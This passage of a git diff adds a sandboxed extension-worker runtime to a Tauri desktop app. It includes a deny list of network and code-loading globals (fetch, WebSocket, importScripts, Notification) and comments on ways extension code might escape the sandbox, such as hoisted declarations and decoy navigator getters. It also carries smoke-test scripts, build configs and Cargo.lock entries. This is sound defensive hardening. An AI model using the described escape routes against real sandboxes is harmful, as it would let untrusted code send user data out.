'../errors.js'+import { HandleTable } from '../handles.js'+import {+ DEACTIVATE_METHOD,+ INVOKE_METHOD,+ type ControlMessage,+} from '../protocol.js'+import { createWorkerContext, type WorkerCallback } from './context.js'+import type { Harden } from './lockdown.js'+import type { Realm } from './realm.js'+import { stripGlobals } from './strip.js'++/** How long `activate` may take before the worker reports a timeout. */+export const ACTIVATE_TIMEOUT_MS = 10_000++/** The name the composed source calls once the bundle has run. */+export const BOOT_FUNCTION = '__janBoot'++/** The part of a worker global the runtime uses before it strips the rest. */+interface WorkerScope {+ postMessage(message: unknown): void+ addEventListener(type: 'message', listener: (e: { data: unknown }) => void): void+ removeEventListener(+ type: 'message',+ listener: (e: { data: unknown }) => void+ ): void+ close?(): void+}++const isScope = (v: object): v is WorkerScope =>+ typeof (v as Partial<WorkerScope>).postMessage === 'function' &&+ typeof (v as Partial<WorkerScope>).addEventListener === 'function'++function withTimeout<T>(p: Promise<T>, ms: number, what: string): Promise<T> {+ return new Promise<T>((resolve, reject) => {+ const timer = setTimeout(+ () => reject(new ExtensionError('E_TIMEOUT', `${what} took over ${ms} ms`)),+ ms+ )+ p.then(+ (v) => {+ clearTimeout(timer)+ resolve(v)+ },+ (e: unknown) => {+ clearTimeout(timer)+ reject(e)+ }+ )+ })+}++/** What the prelude finishes once the realm is locked down. */+export interface Runtime {+ /**+ * Hands over `harden` and defines `__janBoot`. Until it is called the+ * boot function does not exist, so a composed script whose prelude did+ * not lock down fails at the boot call instead of starting unlocked.+ */+ seal(harden: Harden): void+}++/**+ * Sets up the worker side before any extension code runs: captures the+ * messaging primitives, strips the network and Tauri globals and opens the+ * RPC endpoint. If stripping fails it reports and throws, which aborts the+ * rest of the composed script, so extension code never runs with the+ * globals still in place.+ */+export function installRuntime(realm: Realm): Runtime {+ const scope = realm.global+ if (!isScope(scope)) throw realm.replaced('postMessage')+ // Captured first; a forged message from extension code could only reach+ // the same host-checked API, so these are not hidden afterwards.+ const post = scope.postMessage.bind(scope)+ const listen = scope.addEventListener.bind(scope)+ const unlisten = scope.removeEventListener.bind(scope)+ const closeScope = scope.close?.bind(scope)++ try {+ stripGlobals(realm, scope)+ } catch (error) {+ post({ v: 1, t: 'activateFailed', error: toRpcError(error) })+ throw error+ }++ const callbacks = new HandleTable<WorkerCallback>()+ let harden: Harden | undefined+ let manifest: ValidatedManifest | undefined+ let module: ExtensionModule | null | undefined+ let ctx: ExtensionContext | undefined+ let booted = false++ const transport: Transport = {+ send: (message) => post(message),+ onMessage: (listener) => {+ const handler = (e: { data: unknown }) => listener(e.data)+ listen('message', handler)+ return { dispose: () => unlisten('message', handler) }+ },+ close: () => closeScope?.(),+ }++ const endpoint: Endpoint = new Endpoint(transport, {+ onControl: (message: ControlMessage) => {+ // The host's liveness check: a worker stuck in a loop cannot answer.+ if (message.t === 'ping') {+ endpoint.sendControl({ v: 1, t: 'pong', n: message.n })+ return+ }+ if (message.t !== 'init' || manifest) return+ manifest = message.manifest+ void start()+ },+ handle: async (method, args, token) => {+ if (method === INVOKE_METHOD) {+ const [handle, callArgs] = args+ const fn = typeof handle === 'number' ? callbacks.get(handle) : undefined+ if (!fn)+ throw new ExtensionError('E_NOT_FOUND', 'The callback was disposed')+ return fn(Array.isArray(callArgs) ? callArgs : [], token)+ }+ if (method === DEACTIVATE_METHOD) {+ try {+ await module?.deactivate?.()+ } finally {+ ctx?.subscriptions.dispose()+ }+ return undefined+ }+ throw new ExtensionError('E_NOT_FOUND', `Unknown method '${method}'`)+ },+ })++ const fail = (error: unknown) =>+ endpoint.sendControl({ v: 1, t: 'activateFailed', error: toRpcError(error) })++ // Runs once both the host's init and the bundle's module are in.+ const start = async () => {+ if (!manifest || !harden || module === undefined || booted) return+ booted = true+ const mod = module+ if (!mod || typeof mod.activate !== 'function') {+ fail(+ new ExtensionError(+ 'E_INVALID_ARGS',+ "The bundle does not define 'JanExtension' with an activate function"+ )+ )+ return+ }+ const worker = createWorkerContext(manifest, endpoint, callbacks)+ // Frozen so code sharing the worker (a dependency of the extension)+ // cannot swap a ctx method for one that records or alters its calls.+ ctx = harden(worker.ctx)+ try {+ await withTimeout(+ (async () => {+ await mod.activate(worker.ctx)+ await worker.settled()+ })(),+ ACTIVATE_TIMEOUT_MS,+ 'activate'+ )+ endpoint.sendControl({ v: 1, t: 'ready' })+ } catch (error) {+ fail(error)+ }+ }++ return {+ seal: (hardenFn) => {+ if (harden) return+ harden = hardenFn+ realm.defineProperty(scope, BOOT_FUNCTION, {+ value: (mod: unknown) => {+ if (module !== undefined) return+ module =+ typeof mod === 'object' || typeof mod === 'function'+ ? (mod as ExtensionModule | null)+ : null+ void start()+ },+ writable: false,+ enumerable: false,+ configurable: false,+ })+ },+ }+}diff --git a/packages/extension-runtime/src/worker/start.ts b/packages/extension-runtime/src/worker/start.tsnew file mode 100644index 000000000..be2170116--- /dev/null+++ b/packages/extension-runtime/src/worker/start.ts@@ -0,0 +1,10 @@+// A module of its own so that module evaluation order does the sequencing:+// prelude.ts imports this before lockdown.ts, so the realm checks run and+// the worker is stripped before the SES module code reads, or calls, a+// single global. A bundle that slipped a hoisted `function WeakMap() {}`+// past the host's shape check would otherwise run inside SES's setup while+// `fetch` is still there.+import { realm } from './realm.js'+import { installRuntime } from './runtime.js'++export const runtime = installRuntime(realm)diff --git a/packages/extension-runtime/src/worker/strip.ts b/packages/extension-runtime/src/worker/strip.tsnew file mode 100644index 000000000..f04145ae1--- /dev/null+++ b/packages/extension-runtime/src/worker/strip.ts@@ -0,0 +1,96 @@+import type { Realm } from './realm.js'++/**+ * Globals an extension worker must not reach: every network primitive, the+ * ways to load or spawn more code, origin-wide storage, anything Tauri+ * might inject, and `Notification`, whose icon URL is fetched under the+ * wide img-src and so works as a beacon. Network goes through+ * `ctx.http.fetch`, which the host checks against the grants.+ *+ * This list is the second layer. The app creates every worker under its+ * own CSP (`default-src 'none'`, web-app worker-runtime.ts WORKER_CSP), so+ * the engine refuses network access through any primitive, listed here or+ * not; `import()` and `FontFace` are left to that policy alone.+ */+export const STRIPPED_GLOBALS = [+ 'fetch',+ 'XMLHttpRequest',+ 'WebSocket',+ 'WebSocketStream',+ 'WebTransport',+ 'EventSource',+ 'importScripts',+ 'Worker',+ 'SharedWorker',+ 'BroadcastChannel',+ 'Notification',+ 'indexedDB',+ 'caches',+ '__TAURI__',+ '__TAURI_INTERNALS__',+ '__TAURI_IPC__',+] as const++/** Origin-wide storage, locks and service workers shared with the app window. */+export const STRIPPED_NAVIGATOR = ['storage', 'locks', 'serviceWorker'] as const++/**+ * Replaces `name` with a non-configurable `undefined` on `target` and on+ * every prototype above it. Deleting first matters: an accessor left on a+ * prototype would still be reachable through `Object.getPrototypeOf`.+ * Object.prototype is left alone; nothing stripped lives there, and locking+ * names on it would change every object in the realm. Throws when a+ * property cannot be replaced, so the caller fails closed.+ */+function lockOut(realm: Realm, target: object, name: string): void {+ for (+ let o: object | null = target;+ o !== null && o !== realm.ObjectPrototype;+ o = realm.getPrototypeOf(o)+ ) {+ realm.deleteProperty(o, name)+ realm.defineProperty(o, name, {+ value: undefined,+ writable: false,+ enumerable: false,+ configurable: false,+ })+ }+}++/**+ * Every object a `navigator` getter on the scope's chain returns. The+ * getters are read off the descriptors, not through `scope.navigator`: a+ * bundle's `var navigator` or `function navigator() {}` shadows the name+ * with a decoy, while the getter still hands out the real one.+ */+function navigators(realm: Realm, scope: object): object[] {+ const found: object[] = []+ for (+ let o: object | null = scope;+ o !== null && o !== realm.ObjectPrototype;+ o = realm.getPrototypeOf(o)+ ) {+ const get = realm.getOwnPropertyDescriptor(o, 'navigator')?.get+ if (!get) continue+ const value = realm.apply(get, scope)+ if (typeof value === 'object' && value !== null) found.push(value)+ }+ return found+}++/**+ * Strips the globals above from `scope` and from its real `navigator`,+ * using only what `realm` captured before any extension code could run.+ */+export function stripGlobals(realm: Realm, scope: object): void {+ // Read before stripping: `navigator` itself stays, only its storage goes.+ // Every worker has one; none means a hoisted declaration replaced the+ // getter, and the real navigator may still be reachable some other way.+ const targets = navigators(realm, scope)+ if (targets.length === 0)+ throw realm.replaced('navigator')+ for (const name of STRIPPED_GLOBALS) lockOut(realm, scope, name)+ for (const navigator of targets)+ for (const name of STRIPPED_NAVIGATOR) lockOut(realm, navigator, name)+}diff --git a/packages/extension-runtime/tsconfig.build.json b/packages/extension-runtime/tsconfig.build.jsonnew file mode 100644index 000000000..0a549236c--- /dev/null+++ b/packages/extension-runtime/tsconfig.build.json@@ -0,0 +1,10 @@+{+ "extends": "./tsconfig.json",+ "compilerOptions": {+ "noEmit": false,+ "declaration": true,+ "outDir": "dist",+ "rootDir": "src"+ },+ "exclude": ["src/**/__tests__/**"]+}diff --git a/packages/extension-runtime/tsconfig.json b/packages/extension-runtime/tsconfig.jsonnew file mode 100644index 000000000..af59aa826--- /dev/null+++ b/packages/extension-runtime/tsconfig.json@@ -0,0 +1,22 @@+{+ // Type-checks sources and tests. The build output comes from+ // tsconfig.build.json, which excludes the tests.+ "compilerOptions": {+ "target": "ES2022",+ // NodeNext so the emitted ESM carries explicit `.js` specifiers and loads+ // under plain Node, where the sandbox harness runs.+ "module": "NodeNext",+ "moduleResolution": "NodeNext",+ "lib": ["ES2022", "DOM"],+ "types": ["node"],+ "strict": true,+ "noUnusedLocals": true,+ "noUnusedParameters": true,+ "verbatimModuleSyntax": true,+ "resolveJsonModule": true,+ "forceConsistentCasingInFileNames": true,+ "skipLibCheck": true,+ "noEmit": true+ },+ "include": ["src"]+}diff --git a/packages/extension-runtime/vitest.config.ts b/packages/extension-runtime/vitest.config.tsnew file mode 100644index 000000000..a547d1185--- /dev/null+++ b/packages/extension-runtime/vitest.config.ts@@ -0,0 +1,9 @@+import { defineConfig } from 'vitest/config'++export default defineConfig({+ test: {+ environment: 'node',+ include: ['src/**/*.test.ts'],+ globalSetup: ['./vitest.global-setup.mjs'],+ },+})diff --git a/packages/extension-runtime/vitest.global-setup.mjs b/packages/extension-runtime/vitest.global-setup.mjsnew file mode 100644index 000000000..ac4722aa6--- /dev/null+++ b/packages/extension-runtime/vitest.global-setup.mjs@@ -0,0 +1,7 @@+// The prelude tests run the real built prelude, so build it before they+// start rather than trusting whatever dist holds from the last build.+import { buildPrelude } from './scripts/build-prelude.mjs'++export default async function setup() {+ await buildPrelude()+}diff --git a/scripts/extensions-smoke.mjs b/scripts/extensions-smoke.mjsnew file mode 100644index 000000000..d3340f392--- /dev/null+++ b/scripts/extensions-smoke.mjs@@ -0,0 +1,81 @@+// End-to-end smoke install of the sample extension (`make+// test-extensions-smoke`): build @janhq/sample-hello-provider, `yarn pack`+// it into a temporary directory, install the tarball with the extensions+// plugin's Rust install pipeline (tests/smoke.rs) into a fresh extensions+// root, then load that root in the web-app's extension host+// (smoke.installed.test.ts). The two halves share JAN_EXT_SMOKE_ROOT.+import { spawnSync } from 'node:child_process'+import { mkdtempSync, readdirSync, rmSync } from 'node:fs'+import { tmpdir } from 'node:os'+import { join } from 'node:path'+import { fileURLToPath } from 'node:url'++const repoRoot = fileURLToPath(new URL('..', import.meta.url))+const SAMPLE = '@janhq/sample-hello-provider'++function run(command, args, options = {}) {+ console.log(`\n$ ${command} ${args.join(' ')}`)+ const result = spawnSync(command, args, {+ cwd: repoRoot,+ stdio: 'inherit',+ // yarn is a .cmd shim on Windows.+ shell: process.platform === 'win32',+ ...options,+ env: { ...process.env, ...options.env },+ })+ if (result.error) throw result.error+ if (result.status !== 0)+ throw new Error(`${command} ${args.join(' ')} exited with ${result.status}`)+}++const work = mkdtempSync(join(tmpdir(), 'jan-ext-smoke-'))+const root = join(work, 'extensions')+let failed = false+try {+ // The sample's build needs the API package; the vitest half needs the+ // runtime package's prelude.+ run('yarn', ['build:extension-api'])+ run('yarn', ['build:extension-runtime'])+ run('yarn', ['workspace', SAMPLE, 'build'])+ run('yarn', ['workspace', SAMPLE, 'pack', '--out', join(work, '%s-%v.tgz')])+ const tgz = readdirSync(work).find((f) => f.endsWith('.tgz'))+ if (!tgz) throw new Error(`yarn pack wrote no .tgz into ${work}`)++ const env = {+ JAN_EXT_SMOKE_TGZ: join(work, tgz),+ JAN_EXT_SMOKE_ROOT: root,+ }+ run(+ 'cargo',+ [+ 'test',+ '--locked',+ '--manifest-path',+ 'src-tauri/plugins/tauri-plugin-extensions/Cargo.toml',+ '--test',+ 'smoke',+ '--',+ '--ignored',+ ],+ { env }+ )+ run(+ 'yarn',+ [+ 'vitest',+ 'run',+ '--project',+ '@janhq/web-app',+ 'src/lib/extensions/__tests__/smoke.installed.test.ts',+ ],+ { env }+ )+ console.log('\nExtensions smoke test passed.')+} catch (error) {+ failed = true+ console.error(`\nExtensions smoke test failed: ${error.message}`)+ console.error(`Kept ${work} for inspection.`)+} finally {+ if (!failed) rmSync(work, { recursive: true, force: true })+}+process.exit(failed ? 1 : 0)diff --git a/scripts/stub-tauri-resources.mjs b/scripts/stub-tauri-resources.mjsindex 81c2bcb3d..880426b9e 100644--- a/scripts/stub-tauri-resources.mjs+++ b/scripts/stub-tauri-resources.mjs@@ -39,7 +39,6 @@ const triple = execFileSync('rustc', ['-vV'], { encoding: 'utf8' })for (const dir of ['src-tauri/resources/bin',- 'src-tauri/resources/pre-install','src-tauri/icons','src-tauri/icons-macos','src-tauri/icons-windows',@@ -50,9 +49,6 @@ for (const dir of [touch(path('src-tauri/resources/LICENSE'))touch(path('web-app/dist/index.html'))-if (readdirSync(path('src-tauri/resources/pre-install')).length === 0) {- touch(path('src-tauri/resources/pre-install/.gitkeep'))-}// The executable suffix, and the ggml runtime that ships beside the engine// worker. `libggml*` is a glob in the bundle config, and a glob that matchesdiff --git a/src-tauri/Cargo.lock b/src-tauri/Cargo.lockindex f58e477e1..38cf77bcf 100644--- a/src-tauri/Cargo.lock+++ b/src-tauri/Cargo.lock@@ -69,6 +69,7 @@ dependencies = ["tauri-plugin-agent-tools","tauri-plugin-deep-link","tauri-plugin-dialog",+ "tauri-plugin-extensions","tauri-plugin-hardware","tauri-plugin-http","tauri-plugin-llamacpp",@@ -8040,6 +8041,27 @@ dependencies = ["url",]+[[package]]+name = "tauri-plugin-extensions"+version = "0.8.3"+dependencies = [+ "base64 0.22.1",+ "ed25519-dalek",+ "flate2",+ "log",+ "reqwest 0.12.28",+ "semver",+ "serde",+ "serde_json",+ "sha2 0.10.9",+ "tar",+ "tauri",+ "tauri-plugin",+ "thiserror 2.0.18",+ "tokio",+ "url",+]+[[package]]name = "tauri-plugin-fs"version = "2.5.1"diff --git a/src-tauri/Cargo.toml b/src-tauri/Cargo.tomlindex f998d82b8..874aeab9f 100644--- a/src-tauri/Cargo.toml+++ b/src-tauri/Cargo.toml@@ -43,6 +43,9 @@ default = ["desktop",]hardware = ["dep:tauri-plugin-hardware"]+# Runtime-installed extensions (install pipeline, entry reads, extension+# network). Desktop only: not part of the CLI or mobile builds.+extensions = ["dep:tauri-plugin-extensions"]deep-link = ["dep:tauri-plugin-deep-link"]# WebDriver e2e only. Runs an embedded WebDriver server inside the app so# @wdio/tauri-service can drive it. Required on macOS, where no WKWebView driver@@ -53,6 +56,7 @@ e2e = ["dep:tauri-plugin-wdio-webdriver"]# (see [target.'cfg(target_os = "macos")'.dependencies]) rather than a feature.desktop = ["deep-link",+ "extensions","hardware","tauri-app",]@@ -100,6 +104,7 @@ test-tauri = ["tauri/tray-icon","tauri/test","deep-link",+ "extensions","hardware",]cli = ["dep:env_logger", "dep:agent-client-protocol", "dep:indicatif", "dep:console", "dep:ratatui", "dep:unicode-width", "dep:pulldown-cmark", "dep:syntect", "dep:comfy-table", "dep:arboard", "dep:png"]@@ -169,6 +174,7 @@ zip = "9"tauri-plugin-deep-link = { version = "2", optional = true }tauri-plugin-wdio-webdriver = { version = "1.5", optional = true }tauri-plugin-hardware = { path = "./plugins/tauri-plugin-hardware", optional = true }+tauri-plugin-extensions = { path = "./plugins/tauri-plugin-extensions", optional = true }tauri-plugin-llamacpp = { path = "./plugins/tauri-plugin-llamacpp", optional = true }# The CLI consumes only these plugins' tauri-free cores (`db`, `provider`, the# agent toolset); the desktop feature turns their Tauri command surface back on.diff --git a/src-tauri/capabilities/default.json b/src-tauri/capabilities/default.jsonindex ebb42fbf4..606522061 100644--- a/src-tauri/capabilities/default.json+++ b/src-tauri/capabilities/default.json@@ -67,7 +67,7 @@},{"identifier": "opener:allow-open-path",- "description": "Open a Cowork artifact in the OS default application. Scoped to any path because a Cowork project folder is user-chosen and can live anywhere; the same breadth the assetProtocol scope already has. Depends on plugins.opener.requireLiteralLeadingDot=false in tauri.conf.json: the Unix default makes `**` refuse dot-led components, and every Cowork workspace sits under ~/.local/share on Linux, so without it this scope matches nothing there.",+ "description": "Open a Cowork artifact in the OS default application. Scoped to any path because a Cowork project folder is user-chosen and can live anywhere. Opening hands the file to another application and reads nothing into the window, which is why this stays broad while the assetProtocol scope is granted per folder at runtime. Depends on plugins.opener.requireLiteralLeadingDot=false in tauri.conf.json: the Unix default makes `**` refuse dot-led components, and every Cowork workspace sits under ~/.local/share on Linux, so without it this scope matches nothing there.","windows": ["*"],"allow": [{diff --git a/src-tauri/capabilities/desktop.json b/src-tauri/capabilities/desktop.jsonindex e252c4257..d69086769 100644--- a/src-tauri/capabilities/desktop.json+++ b/src-tauri/capabilities/desktop.json@@ -63,7 +63,7 @@},{"identifier": "opener:allow-open-path",- "description": "Open a Cowork artifact in the OS default application. Scoped to any path because a Cowork project folder is user-chosen and can live anywhere; the same breadth the assetProtocol scope already has.",+ "description": "Open a Cowork artifact in the OS default application. Scoped to any path because a Cowork project folder is user-chosen and can live anywhere. Opening hands the file to another application and reads nothing into the window, which is why this stays broad while the assetProtocol scope is granted per folder at runtime.","windows": ["*"],"allow": [{diff --git a/src-tauri/capabilities/extensions.json b/src-tauri/capabilities/extensions.jsonnew file mode 100644index 000000000..f4ff3fe41--- /dev/null+++ b/src-tauri/capabilities/extensions.json@@ -0,0 +1,8 @@+{+ "$schema": "../gen/schemas/desktop-schema.json",+ "identifier": "extensions",+ "description": "Runtime extensions plugin: install, lifecycle, entry reads and extension network. Main window, local app content only (no remote section), desktop platforms only.",+ "windows": ["main"],+ "platforms": ["linux", "macOS", "windows"],+ "permissions": ["extensions:default"]+}diff --git a/src-tauri/plugins/tauri-plugin-agent-tools/src/preview.rs b/src-tauri/plugins/tauri-plugin-agent-tools/src/preview.rsindex a288c7633..b58071398 100644--- a/src-tauri/plugins/tauri-plugin-agent-tools/src/preview.rs+++ b/src-tauri/plugins/tauri-plugin-agent-tools/src/preview.rs@@ -5,7 +5,7 @@//! The origin is shared with nothing else in the app, and what it can serve is//! bounded by [`PreviewRoots`]: a request resolves only to a file under a root//! the pane registered, so model markup cannot link its way to the rest of the-//! disk even though the asset protocol's own scope is `**/*`. Each root carries+//! disk through it, independently of what the asset protocol has been granted. Each root carries//! the network flag the pane chose, emitted as a CSP header on every response;//! the page cannot change it because it never sees the registration.//!diff --git a/src-tauri/plugins/tauri-plugin-extensions/.gitignore b/src-tauri/plugins/tauri-plugin-extensions/.gitignorenew file mode 100644index 000000000..6e5d4b62f--- /dev/null+++ b/src-tauri/plugins/tauri-plugin-extensions/.gitignore@@ -0,0 +1,3 @@+/target+node_modules/+dist-jsdiff --git a/src-tauri/plugins/tauri-plugin-extensions/Cargo.lock b/src-tauri/plugins/tauri-plugin-extensions/Cargo.locknew file mode 100644index 000000000..bda6f3c11--- /dev/null+++ b/src-tauri/plugins/tauri-plugin-extensions/Cargo.lock@@ -0,0 +1,4292 @@+# This file is automatically @generated by Cargo.+# It is not intended for manual editing.+version = 4++[[package]]+name = "adler2"+version = "2.0.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa"++[[package]]+name = "aho-corasick"+version = "1.1.4"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "ddd31a130427c27518df266943a5308ed92d4b226cc639f5a8f1002816174301"+dependencies = [+ "memchr",+]++[[package]]+name = "android_system_properties"+version = "0.1.5"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311"+dependencies = [+ "libc",+]++[[package]]+name = "anyhow"+version = "1.0.103"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "2a4385e2e34eb35d6b3efe798b9eb88096925d87726c0798709bf56d9ed84af3"++[[package]]+name = "atk"+version = "0.18.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "241b621213072e993be4f6f3a9e4b45f65b7e6faad43001be957184b7bb1824b"+dependencies = [+ "atk-sys",+ "glib",+ "libc",+]++[[package]]+name = "atk-sys"+version = "0.18.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "c5e48b684b0ca77d2bbadeef17424c2ea3c897d44d566a1617e7e8f30614d086"+dependencies = [+ "glib-sys",+ "gobject-sys",+ "libc",+ "system-deps",+]++[[package]]+name = "atomic-waker"+version = "1.1.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0"++[[package]]+name = "autocfg"+version = "1.5.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "f2032f911046de80f0a198e0901378627c33f59ea0ac00e363d481118bd70a53"++[[package]]+name = "base64"+version = "0.21.7"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567"++[[package]]+name = "base64"+version = "0.22.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6"++[[package]]+name = "base64ct"+version = "1.8.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "2af50177e190e07a26ab74f8b1efbfe2ef87da2116221318cb1c2e82baf7de06"++[[package]]+name = "bit-set"+version = "0.8.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "08807e080ed7f9d5433fa9b275196cfc35414f66a0c79d864dc51a0d825231a3"+dependencies = [+ "bit-vec",+]++[[package]]+name = "bit-vec"+version = "0.8.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "5e764a1d40d510daf35e07be9eb06e75770908c27d411ee6c92109c9840eaaf7"++[[package]]+name = "bitflags"+version = "1.3.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"++[[package]]+name = "bitflags"+version = "2.13.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "b4388bee8683e3d04af747c73422af53102d2bd24d9eadb6cbc100baef4b43f8"+dependencies = [+ "serde_core",+]++[[package]]+name = "block-buffer"+version = "0.10.4"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71"+dependencies = [+ "generic-array",+]++[[package]]+name = "bs58"+version = "0.5.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "bf88ba1141d185c399bee5288d850d63b8369520c1eafc32a0430b5b6c287bf4"+dependencies = [+ "tinyvec",+]++[[package]]+name = "bumpalo"+version = "3.20.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "72f5acc6cb2ba439de613abc23857ec3d78374d8ed5ac84e9d11336e87da8649"++[[package]]+name = "byteorder"+version = "1.5.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b"++[[package]]+name = "bytes"+version = "1.12.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "fc652a48c352aef3ea3aed32080501cf3ef6ed5da78602a020c991775b0aff04"+dependencies = [+ "serde",+]++[[package]]+name = "cairo-rs"+version = "0.18.5"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "8ca26ef0159422fb77631dc9d17b102f253b876fe1586b03b803e63a309b4ee2"+dependencies = [+ "bitflags 2.13.0",+ "cairo-sys-rs",+ "glib",+ "libc",+ "once_cell",+ "thiserror 1.0.69",+]++[[package]]+name = "cairo-sys-rs"+version = "0.18.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "685c9fa8e590b8b3d678873528d83411db17242a73fccaed827770ea0fedda51"+dependencies = [+ "glib-sys",+ "libc",+ "system-deps",+]++[[package]]+name = "camino"+version = "1.2.4"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "5f2d30e4173c4026932d51d31d6b0613b1fd3014bf3f9f8943d4ba139c437ba0"+dependencies = [+ "serde_core",+]++[[package]]+name = "cargo-platform"+version = "0.1.9"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "e35af189006b9c0f00a064685c727031e3ed2d8020f7ba284d78cc2671bd36ea"+dependencies = [+ "serde",+]++[[package]]+name = "cargo_metadata"+version = "0.19.2"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "dd5eb614ed4c27c5d706420e4320fbe3216ab31fa1c33cd8246ac36dae4479ba"+dependencies = [+ "camino",+ "cargo-platform",+ "semver",+ "serde",+ "serde_json",+ "thiserror 2.0.18",+]++[[package]]+name = "cargo_toml"+version = "0.22.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "374b7c592d9c00c1f4972ea58390ac6b18cbb6ab79011f3bdc90a0b82ca06b77"+dependencies = [+ "serde",+ "toml 0.9.12+spec-1.1.0",+]++[[package]]+name = "cc"+version = "1.2.67"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "e17dd265a7d0f31ef544e1b20e03add05d3b45b491b633b10d67145d2acc1a38"+dependencies = [+ "find-msvc-tools",+ "shlex",+]++[[package]]+name = "cesu8"+version = "1.1.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "6d43a04d8753f35258c91f8ec639f792891f748a1edbd759cf1dcea3382ad83c"++[[package]]+name = "cfb"+version = "0.7.3"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "d38f2da7a0a2c4ccf0065be06397cc26a81f4e528be095826eee9d4adbb8c60f"+dependencies = [+ "byteorder",+ "fnv",+ "uuid",+]++[[package]]+name = "cfg-expr"+version = "0.15.8"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "d067ad48b8650848b989a59a86c6c36a995d02d2bf778d45c3c5d57bc2718f02"+dependencies = [+ "smallvec",+ "target-lexicon",+]++[[package]]+name = "cfg-if"+version = "1.0.4"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801"++[[package]]+name = "cfg_aliases"+version = "0.2.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724"++[[package]]+name = "chacha20"+version = "0.10.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "d524456ba66e72eb8b115ff89e01e497f8e6d11d78b70b1aa13c0fbd97540a81"+dependencies = [+ "cfg-if",+ "cpufeatures 0.3.0",+ "rand_core 0.10.1",+]++[[package]]+name = "chrono"+version = "0.4.45"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "1aa79e62e7697b8e29b513a68abacf485adcd1fe8284a4316c5ae868e6633327"+dependencies = [+ "iana-time-zone",+ "num-traits",+ "serde",+ "windows-link 0.2.1",+]++[[package]]+name = "combine"+version = "4.6.7"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "ba5a308b75df32fe02788e748662718f03fde005016435c444eea572398219fd"+dependencies = [+ "bytes",+ "memchr",+]++[[package]]+name = "const-oid"+version = "0.9.6"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "c2459377285ad874054d797f3ccebf984978aa39129f6eafde5cdc8315b612f8"++[[package]]+name = "cookie"+version = "0.18.1"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "4ddef33a339a91ea89fb53151bd0a4689cfce27055c291dfa69945475d22c747"+dependencies = [+ "time",+ "version_check",+]++[[package]]+name = "core-foundation-sys"+version = "0.8.7"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b"++[[package]]+name = "cpufeatures"+version = "0.2.17"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280"+dependencies = [+ "libc",+]++[[package]]+name = "cpufeatures"+version = "0.3.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "8b2a41393f66f16b0823bb79094d54ac5fbd34ab292ddafb9a0456ac9f87d201"+dependencies = [+ "libc",+]++[[package]]+name = "crc32fast"+version = "1.5.0"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "9481c1c90cbf2ac953f07c8d4a58aa3945c425b7185c9154d67a65e4230da511"+dependencies = [+ "cfg-if",+]++[[package]]+name = "crossbeam-channel"+version = "0.5.16"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "d85363c37faeca707aef026efa9f3b34d077bce547e48f770770625c6013679e"+dependencies = [+ "crossbeam-utils",+]++[[package]]+name = "crossbeam-utils"+version = "0.8.22"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "61803da095bee82a81bb1a452ecc25d3b2f1416d1897eb86430c6159ef717c17"++[[package]]+name = "crypto-common"+version = "0.1.7"+source = "registry+https://github.com/rust-lang/crates.io-index"+checksum = "78c8292055d1c1df0cce5d180393dc8cce0abec0a7102adb6c7b1eef6016d60a"+dependencies = [+ "generic-array",+ "typenum",+]++[[package]]+name = 